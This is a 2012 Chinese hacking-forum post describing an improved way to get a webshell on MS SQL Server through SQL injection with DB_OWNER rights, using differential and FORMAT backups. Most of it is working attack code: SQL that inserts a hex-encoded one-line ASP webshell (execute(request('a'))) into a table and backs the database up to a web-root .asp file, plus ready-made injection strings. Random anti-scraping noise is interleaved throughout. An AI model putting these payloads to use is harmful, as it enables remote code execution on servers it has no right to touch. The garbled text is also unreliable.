找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2634|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:- {2 j: ?+ L/ J' m: j) T

. l# [" d' j+ X8 J, x9 g  _减少备份文件大小,得到可执行的webshell成功率提高不少
5 I  w# l* k! H! v- a" z一利用差异备份
3 L# n! M: D' Q2 f; \) R% O; E8 u加一个参数WITH DIFFERENTIAL
* {) t5 _* Y4 v5 r% I2 }! b- A. I8 Y) `1 {4 X
1. p6 T8 W& i( z' a( r* n' k
27 z" Z( q2 V) j! R1 m
3" R  ~8 r5 i% E5 E; ~
47 @2 _7 d: k7 C
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
+ v! y, S+ |2 F. V. F3 ocreate table [dbo].[xiaolu] ([cmd] [image]);
  a! @) x8 l7 h6 B/ k' Einsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
  o$ n$ V) J. pdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL # v5 ]( L$ u0 \+ e$ h6 z* x
& b+ P# H) a! ]+ l0 A: A
二利用完全FORMAT
& D, r1 j7 i$ [+ Y( i加一个参数WITH FROMAT+ A( x9 N) l$ W
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
2 z, I5 d  @% Y( [$ |4 {4 J/ W2 o4 b/ k9 e# e3 f6 c
1
" `7 ?. z5 Q& `" Q# A+ ]1 a2
5 Z+ {4 X/ [  G7 u  s3  P+ W3 r' c2 O. }7 |8 e5 w' C
4
0 @" o; W  c! j8 V declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
9 H; B2 R* E% N2 jcreate table [dbo].[xiaolu] ([cmd] [image]);( d/ ^% i2 L! g# j- V' F" u
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
& {$ G9 m' B) |0 l0 p9 K" gdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT % y: z. m, v% L% P# y" j

% N0 _* z9 [: }  ~总的来说就是那么简单几句,下面以备份数据库model为例子# G5 x) {1 C& ?+ m8 V. h
1
9 z* p6 B/ X- A, T+ A* O9 ]9 |% I. S3 b1 x* w- m+ B2 K6 o3 i$ s
17 A1 G; P4 B, o- G
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') . j! |' N# W' _  F" U
9 P& I- R& A& |2 W# ~5 r
2
% q) e" m% ~8 O+ a% T  A# e
9 W5 U' t8 G0 n& Z5 S0 f4 u1& p6 H# f1 E  H- P$ `- _
id=1;backup database model to disk='你的路径‘ with differential,format;-- # S5 m, T) o) i, I) I: K) Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表